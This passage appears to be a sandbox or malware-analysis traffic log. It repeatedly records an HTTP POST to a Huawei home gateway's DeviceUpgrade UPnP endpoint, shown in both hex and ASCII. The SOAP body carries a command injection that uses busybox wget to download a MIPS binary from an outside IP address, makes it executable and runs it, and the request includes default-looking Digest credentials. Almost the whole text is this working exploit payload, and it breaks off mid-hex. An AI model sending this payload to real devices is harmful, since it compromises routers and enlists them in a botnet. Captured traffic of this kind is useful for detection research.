/tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 